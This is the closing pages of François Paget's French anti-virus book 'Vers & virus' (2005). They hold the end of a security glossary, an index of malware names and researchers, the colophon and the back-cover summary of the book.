SNIFFERLogiciel renifleur de trafic permettant l’interception des trames et leurs analyses.

SPAMCourrier non sollicité, polluriel. Message à caractère commercial s’appuyant éventuel-lement sur une usurpation d’adresse électronique.

SPOOFINGUsurpation d’adresse IP. Technique consistant à usurper l’identité d’un utilisateur auto-risé du réseau en falsifiant son adresse IP.

SPYWARE (Espiogiciel)Programme espion, qui recueille et transmet à une régie publicitaire, à insu de l’inter-naute et sans sa permission, des données personnelles, notamment sur ses intérêts etses habitudes de navigation.

PAGET_Glossaire Page 303 Lundi, 11. avril 2005 5:23 17

304 Vers & virus

SYSTÈME (virus)Virus dont le vecteur de contamination est le secteur de partition ou le secteur dedémarrage des disques durs et des disquettes.

TEMPS RÉEL (On Access)Mode dynamique d’analyse anti-virale effectuée par l’entremise d’un module résidentchargée au démarrage de la machine. Chaque fichier faisant l’objet d’une demanded’accès par le système est analysé.

TOP-10Liste des 10 virus les plus fréquemment rencontrés dans la nature (In-The-Wild) dansune période donnée.

TRIGGERVoir Gâchette.

TROJANVoir Cheval de Troie.

VARIANTEVirus créé sur le même modèle qu’un précédent virus.

VCI (Virus Communication Interface)Interface imaginée par les auteurs de virus pour favoriser les échanges d’informationentre les virus et leurs donner des ordres.

VER (Worm)Programme capable de se propager de machine en machine au travers des connexionsréseau et de manière indépendante.

VIRUSProgramme capable d’infecter d’autres programmes en les modifiant pour y inclure unecopie de lui-même.

WILDLISTOrganisme international qui a pour but de recenser l’ensemble des virus dans la nature(In-The-Wild) au niveau mondial. La collecte s’effectue grâce à de nombreux cher-cheurs répartis sur les cinq continents. Les statistiques sont mensuelles.http://www.wildlist.org/

WORMVoir Ver.

ZOMBIEMachine dont on a pris le contrôle pour réaliser une attaque telle qu’un Déni de ServiceDistribué (DDoS – Distributed Denial of Service). Ce terme est souvent utilisé commesynonyme de robot.

ZOOCollection virale.

PAGET_Glossaire Page 304 Lundi, 11. avril 2005 5:23 17

Index

Nombres

097M/TRISTATE

72

1260

54

20/20

22

29A

73, 104, 130, 179, 283, 284

3APA3A

62

40Hex

60, 61

A

A2KM/Sadip@MM

217

A97M/Accessiv

217

A97M/Cross

218

A97M/Tox

218Adam Levitt 38Adware 22

AIDS-II.8064

57ajout 159

Alameda

51Alan Solomon 49, 54, 58

Anticmos

69 154

Anti-Congo

41anti-debugging 101

Antiexe

69, 89anti-virus 221, 231Anti-Virus Toolkit from S&S

49appender 160Applets Java hostiles 28

APStrojan@MM

209

ARCV

63

Arj-virus

62Arthur Burks 36

AVERT 64, 83AVP 50

B

Baby

109

Back Orifice

31backdoor 26

BackDoor-JW

29

BadGuy

158

BatMan

62, 220BBS 53

Beast

58

Benny

104, 283BHO 23BIOS 133, 136

Bit Addict

60

Bizatch

66

Black Baron

60, 63

Black Wolf

60blended threat 107bombe logique 25BOOT 88Boot Sector 88, 132botnet 292

Brain

45, 46, 51buffer overflow 209

C

C-4 48canulars 18CARO 58, 107, 111, 125

Cascade

47, 49, 51, 109, 161cavité 162, 187

Chameleon

54checksum 48Chen Ing-hau 70Cheval de Troie 26, 112

Chile Mediera

104Chk4Bomb 48Christoph Fischer 58

Civil_War

110CLUSIF 2, 49, 76, 254, 263,

293cluster 139, 164CNIL 11cocktail 107code checksum 228code complémentaire 136,

142, 148, 152, 153CodeBlue.worm 287CodeRed 268

Columbus Day

49

Commander Bomber

54, 62compagnons 164contrôle d’intégrité 48, 228Core War 37CPW 104Craig Schmugar 83CreateObject 196

CREEPER

37

Cruncher

61cryptage 47, 102, 215

D

DAME

60

Dark Angel

60

PAGET_Index Page 305 Lundi, 11. avril 2005 5:22 17

306 Vers & virus

Dark Avenger

53

Dark Slayer

60

Datacrime

48, 51David Gerrold 39David L. Smith 75DDM 13débordement de tampon 209délimiteurs 111délocalisé 57, 164

Den Zuko

47, 51, 153deni de service (DoS) 32déni de service distribué

(DDoS) 33dévolution 111, 122

DGME

60dialers 30

DIR-II

57

Dmsetup.worm

203

DMU

60

DMV

64Dr Solomon 70, 74dropper 79, 89, 112

DSME

60dump mémoire 113duplication 94

E

Eddy Willems 59

EDV

151EICAR 58eicar.com 251

Elk Cloner

40en-tête des sections 170en-tête MS-DOS 167en-tête optionnelle 168en-tête PE 167entrelacement 162EntryPoint RVA 169Eudora 210Eugène Kaspersky 50, 62, 287

EXEBug

62, 150Executable Linkable Format

94exploit 271

F

farces 18fast infector 53

Father Christmas Worm

44

Flip

55, 154flooding 32Flu_shot 48

Form

69, 89, 142, 153F-Prot 50F-PROT Development 64fractionnement 163fraude 419 14Fred Cohen 34, 41Fridrik Skulason 47, 50, 58,

107

FriendGreetings

289

Frodo

57, 107

Frogbender

18FSMN 111

Fu Manchu

51furtivité 45, 55, 57, 61, 106,

151, 215, 218

G

Gaobot

267, 291garbage 113, 181

GenB

109générateurs de virus 59

GenP

109

Genvirus

59

Good Times

64

Gotcha

54, 110GP1 57

Grammersoft

78

GriYo

104

GT-Spoof

64Gunther Musstopf 58Gunther von Gravenreuth 58

H

Hackers

47

Happy-99

72

HLL.C

109

HLL.ow

109

HLLC

109

HLLO

109

HLLP.Toadie@MM

199

HLLT/Toadie@MM

98

HLLW.Idomoshe

96hoax 6, 64

Homepage

80, 91

Horse Boot

89Hyjackers 23

I

IBM Christmas Tree

43IBM V SCAN 49, 50Image Base 169implanteurs 89, 112infecteur rapide 53, 55, 107injecteurs 89, 112Instant Messenger 209intended 112, 125interruptions 134

Intruder

56IRC 203

IRC/Acoragil

203

IRC/Theme.worm

203

J

Jan Hruska 54JavaScript 91

Jérusalem

46, 48, 49, 51, 109, 160

Jimmy Kuo 65Joe Wells 56, 63John Brunner 39John Louis von Neumann 35John McAfee 48, 50John Shoch 34, 38, 40jokes 18Jon Hupp 34, 38, 40

JS/Kak@M

72, 78, 80, 91, 98, 194

JS/TheFly@MM

91, 98JUMPER 69

Jumper.B

69, 89, 148, 153

JUNKIE

69

PAGET_Index Page 306 Lundi, 11. avril 2005 5:22 17

307Index

© D

unod

– L

a ph

otoc

opie

non

aut

oris

ée e

st u

n d

élit

K

keylogger

27KeyLog-SSKC 27

Kilroy

56kit 112Klaus Brunnstein 58

L

Lehigh

46, 51, 162lettres chaînes 8Linear Executable 94, 127Linux 129

Linux/Bliss

130

Linux/Etap

130

Linux/Radix.ow

158

Linux/Simile

130

Lovsan

81

MMAC/Simpsons@MM 98Macintosh 128MacOS/Autostart 128MacOS/Simpsons@MM 128macro-virus 51, 65, 67, 72, 90,

194, 211, 261Mafia.a 27Maltese Amoeba 55Manta 60MAPI 206Marc Blanchard 283Marijuana 47Marius Van Oers 65Mark Ludwig 56, 60mass-mailer 72, 80, 94, 97,

112, 124, 128, 196, 261Mass-Produced Code Generator

60Master Boot Record (MBR)

88, 132Masud Khafir 54, 60, 61MBR 88McAfee 64McAfee Associates 69Mental Driller 130MessageLabs 83métamorphisme 103Michael Weiner 58Michelangelo 59

micro-programme mode réel 167

Mikko Hypponen 104Mini 109Minimal 109minus-virus 50Moloch 154moniteur de virus 225monitoring de programme 48,

231Monkey 63, 69, 152Morton Swimmer 58Mozilla 248MtE 110MtE.Pogue 54MTX_II 79multi-application 213multipartite 54, 57, 61, 89,

154, 213, 218Murphy 58Mutation Engine 53

N

Natas 61NetBus Pro 32Network Associates Inc. 69Neurobasher 62, 105New Executable 92Nick FitzGerald 111, 196NNTP 210nom de famille 108, 120nom de groupe 109, 121Nomenclatura 58Norton Antivirus 56Nowhere Man 60NuKE 60nuker 33

O

O97M/Cybernet@MM 98O97M/Shiver 196O97M/Tristate 114, 196Objets Active-X hostiles 29offset 146oligomorphiques 102Omicron 55One_Half 61, 89, 154, 162Onel de Guzman 76

opcodes 102, 181OS/2 127OS2.AEP 67OS2/AEP 127OS2/DA 67OS2/Jiskefet 127OS2/Myname 127OS2first 67

PP97M/Phlaco 216P97M/Yesi 216PalmOS/Phage 79pare-feu 236Parity Boot 69, 89partition récursive 153PassWord Stealer (PWS) 27,

280Paul Ducklin 58Paul Langemeyer 58payload 33, 104PDF 199Peach 106Pegasus 199, 210Peter Denning 34Peter Haag 293Peter Troxler 293Phalcon/Skism 60phishing 15, 293PIF 246PIF/Fable@MM 98Ping-Pong 46, 51plate-forme 113plug-ins 284, 285Ply 102Pogue 110point d’entrée obscur 159, 184polymorphie 53, 54, 55, 61, 62,

63, 103, 154, 180, 216Porn-Dialer 30Portable Executable 93, 165porte dérobée 26, 277poste à poste 81, 99, 201, 208Prank 65prepender 160prévisualisation 194Priest 61programmes simples 19propagation 94

PAGET_Index Page 307 Lundi, 11. avril 2005 5:22 17

308 Vers & virus

Proxy-Guzu 30PS-MPC 60PWS-Hooker.dll 27, 281

QQark 64Quantum 66

RRabbit 71Rainbow 63, 152Randex 291rang de variante 109, 110, 111,

122Real-Mode Stub Program 167REAPER 37recherche générique 225recherche heuristique 229recherche par signature 222recouvrement 158récursivité 112, 125renifleur de clavier 27, 281renifleurs de mot de passe 27,

280renifleurs de trafic 32rétro-virus 62, 104RHINCE 64robots 267, 291Roger Riodan 59Roger Riordan 50RTF 287RTM Worm 43rumeurs 6Rush Hour 46RVA 169

SSarah Gordon 65, 67Satanbug 106scam africain 14ScanProt 65Sdbot 267secteur de démarrage 88, 109,

132secteur de partition 88, 109,

132secteur logique 137, 139, 146secteur physique 137, 146

Sendkeys 195Sentry 48ShellScrap 246Shifting Objectives 62SHS 246signature du virus 160Silly 109singularité 108, 110, 112, 123Slider joke 18Small 109SMEG 60SMEG-Pathogen 63SMTP 204smurfing 32Sniff-ICQ.WPD 32socket 205Socket de Troie 31Socket23 278Sophos 54spam 293spamming 11Spanska 72spoofing 32, 205Spybot 267, 291Spyware 23Staog 67Starship 57Stealth 56Stoned 46, 51, 59, 69Stoned-Spirit 153Stream NTFS 191SubSeven 285Symantec 56

Ttable d’allocation des fichiers

(FAT) 140taille 121TbScan 229Tchernobyl 70Tequila 55, 89, 106, 154Thomas Ryan 40Thread Local Storage 189Timid 56Tiny 58, 109TLS 189TPE 60TPE.1_0.Girafe 60trashbin 113

Tremor 62, 105TridenT 54, 60trigger 33Trivial 108trojan 20, 26, 112

U

Ultimate Mutation Engine 60Univ 109Unix 129

V

V2P1 54Vaccine 54VBS/BubbleBoy@MM 78, 195VBS/Davinia@MM 30VBS/Entice.ow 158VBS/FreeLink@MM 91, 98VBS/GWV 99, 201VBS/LifeStages@MM 246VBS/Loding 198VBS/LoveLetter@MM 6, 72,

75, 91, 197VBS/Monopoly@MM 91VBS/Netlog 96, 201VBS/Peachy@MM 197, 199VBS/Sludge.worm 201VBS/Stages@MM 72VBS/Tam@MM 80VBS/Timofonica@MM 79VBS/TripleSix@MM 91VBS/VBS@MM 80VBS/VBSWG@MM 91VBS/Vierika 198VBS/Wobble@MM 6VBS/XPMsg@MM 29VBSV 71VCL 60VCS V1.0 60Vecna 284ver 34, 39, 94, 193vers automatiques 100, 209Vesselin Bontchev 50, 53, 57,

58, 64, 107, 125Vet (Cybec) 50VGREP 120VicodinES 75, 218Vienna 46

PAGET_Index Page 308 Lundi, 11. avril 2005 5:22 17

309Index©

Dun

od –

La

phot

ocop

ie n

on a

utor

isée

est

un

dél

it

VIRDEM 46Virtran 54virus 34, 39, 94, 112virus Batch 92Virus Bulletin 52Virus Communication Interfa-

ce (VCI) 283virus compagnon 57virus de script 71, 72, 90, 91,

158, 194, 211, 219, 261virus défensif 104virus interprètes 89virus multipartite 87Virus Patrol 74virus programme 70, 80, 92,

157virus système 45, 69, 88, 131VIRUS-L 53VirusScan 50, 69VLAD 67VLAD#4 64VME 60vulnérabilité 209, 271

WW16/RedTeam@MM 98W16/Tentacle.1966 61W2K/Stream 191W32/Android@M 206W32/Anvil 225W32/Apparition 103W32/Auric@MM 100W32/Babylonia@M 206W32/Badtrans@MM 194, 281W32/Bagle@MM 94, 288W32/Benjamin.worm 81, 99W32/BlackBat 102W32/Blaster.worm 81, 208W32/Blebla@MM 204W32/Bolzano 183W32/Bugbear@MM 80, 81,

278, 281W32/Bymer.worm 204W32/Cabanas 177W32/Caw 163W32/Chiton 161, 189W32/Choke.worm 204, 209W32/CodeRed.worm 81, 101,

208, 268, 277, 287

W32/Crypto 225W32/Dengue 104W32/Duksten@MM 210W32/Dumaru@MM 82, 98,

191W32/Etap 130W32/EXPLOREZIP.worm@M

72W32/ExploreZIP@MM 204W32/Fix@M 204W32/Fizzer@MM 80W32/Floodnet@MM 209W32/Forforo 185W32/Fourseman@MM 99W32/Frethem@MM 80W32/Gnuman.worm 99, 208W32/Grand!p2p 223W32/Haless 182W32/Hayque.worm 96, 208W32/HLL.ow.ANT 158W32/HLL.ow.Jetto 158W32/HLLP.DE TROIE 69W32/Hybris@MM 72, 80, 204,

285W32/Kazmor.worm 99W32/Kelino 101W32/Klez@MM 80, 84, 105,

280W32/Kriz 189W32/Lirva@MM 80, 105W32/Lovsan.worm 272W32/Maddis.worm 107W32/Magistr@MM 80, 204,

206, 280W32/Marburg 70W32/Mimail@MM 80, 282W32/MTX@M 72, 204, 206W32/Mydoom@MM 83, 94,

255W32/Mylife@MM 204, 207W32/MyParty@MM 80W32/Nachi.worm 81, 208W32/Navidad@M 72, 80, 207W32/Netsky@MM 94W32/Newpic.worm 204W32/Nimda@MM 81, 205,

208, 286W32/Orez 187W32/Parvo@MM 206

W32/PrettyPack@MM 72, 206W32/Sabia.prc 79W32/Sasser.worm 208W32/Simile 130W32/Sircam@MM 80, 81, 205,

206, 280W32/Ska@M 72, 204, 206W32/Smibag.worm 209W32/Sobig@MM 14, 80, 81,

283W32/SQLSlammer 81W32/SQLSlammer.worm 101,

208, 269W32/SUK 225W32/Suppl@M 206W32/Swen@MM 80, 82W32/Torvil@MM 210W32/Ultimax.worm 30W32/Urbe@MM 207W32/Yaha@MM 80, 105W32/Yarner@MM 224W32/Zmist 225W95/Anxiety 161, 175W95/Babylonia@M 284W95/Boza 66, 173W95/CIH 70, 72, 107, 223W95/Fono 207W95/Kuang 278W95/Marburg 180W95/MTX 106W95/Padania 179W95/Parvo@MM 98W95/Weird 278W97M/AntiMarc@MM 98,

195W97M/Class 68, 72, 75W97M/Coldape 71, 196W97M/Cross 218W97M/Eight941 123W97M/Ethan 72W97M/Groov 68, 71W97M/Jim@MM 199W97M/Lucia 198W97M/MARKER 72W97M/Melissa@MM 72, 74,

197W97M/Mimir@MM 197, 198W97M/Moridin@MM 199W97M/Nail@MM 197

PAGET_Index Page 309 Lundi, 11. avril 2005 5:22 17

310 Vers & virus

W97M/NightShade 67W97M/PolyPoster@MM 195W97M/Wazzu 67Welchia 81Whale 57WildList 63, 93Win32/HLLP.DeTroie 278Winvir_1_4 61WM/CAP 69, 72, 216WM/Colors 215WM/Concept 65, 69, 215WM/Futurenot 216

WM/Hassle 216WM/Inexist 69WM/Johnny 123WM/MDMA 69, 215WM/NPAD 69WM/Rapi 123WM/Sharefun@MM 98, 195WM/Wazzu 69, 215WormNET 283Worms Against Nuclear Killers

44

XX97M/Laroux 216X97M/Papa@MM 98, 197XF/Paix 68, 69, 217XM/Laroux 67, 216

Zzombie 33Zulu 78

PAGET_Index Page 310 Lundi, 11. avril 2005 5:22 17

Achevé d’imprimer sur les presses deSNEL Grafics sa

rue Saint-Vincent 12 – B-4020 LiègeTél +32(0)4 344 65 60 - Fax +32(0)4 341 48 41

mai 2005 – 34608

Dépôt légal : mai 2005

Imprimé en Belgique

48311 - (I) - (1,5 + 0,3) - OSB 100° - STY - API

F. P

AG

ET

www.dunod.com

VERS & VIRUS

François Paget

FRANÇOIS PAGET

François Paget estchercheur anti-virusdepuis bientôt quinzeans. Il est membrefondateur du groupeAVERT (Anti-virus andVulnerability EmergencyResponse Team) au seinde McAfee. Au niveaueuropéen, il est membrede l’EICAR (EuropeanInstitute of ComputerAnti-Virus Research).Avec d’autresprofessionnels du mondeentier, il participe auxtravaux de divers forumstechniques dont celui dela Wildlist qui a pour butde recenser l'ensembledes virus actifs au niveaumondial VE

RS &

VIR

US

INFOPRO

MANAGEMENT DES SYSTÈMESD'INFORMATION

APPLICATIONS MÉTIERS

ÉTUDES, DÉVELOPPEMENT,INTÉGRATION

EXPLOITATION ET ADMINISTRATION

RÉSEAUX & TÉLÉCOMS

L'ESSENTIEL

TYPE D’OUVRAGE

RETOURS D'EXPÉRIENCESE FORMER

EX

PLO

ITA

TIO

N &

AD

MIN

IST

RA

TIO

N

Classification, lutte anti-virale et perspectives

ISBN 2 10 008311 2

Ce livre s’adresse aux responsables sécurité, aux directeurs dessystèmes d’information et à leurs équipes. Il est aussi destiné à tousceux qui ont des responsabilités dans le domaine de la sécuritéinformatique.

Après avoir découvert qui est qui et qui fait quoi, l’histoire duphénomène virus est abordée dans son ensemble. Les vers et lesvirus sont ensuite décrits dans leurs multiples formes, et le lecteurest amené à découvrir la structure interne des fichiers modernesavec l’œil du chercheur.

L’ouvrage aborde ensuite la protection anti-virale dans ses aspectsthéoriques, pratiques autant que méthodologiques. Ayant expliquéles méthodes, des pistes sont ouvertes pour aider le professionnelet le particulier dans sa quête d’un bon anti-virus.

Pour conclure, le livre met en perspective les dernières évolutionsdepuis l’an 2000 et confirme l’arrivée d’une nouvelle et dangereusecybercriminalité. Il démontre que les auteurs de virus d’aujourd’huine cherchent plus, ni à détruire, ni à détériorer des informations,mais il dévoile d’autres buts qui, plus discrets, sont souvent bienplus préjudiciables.

VERS & VIRUS Classification, lutte anti-virale et perspectives

François Paget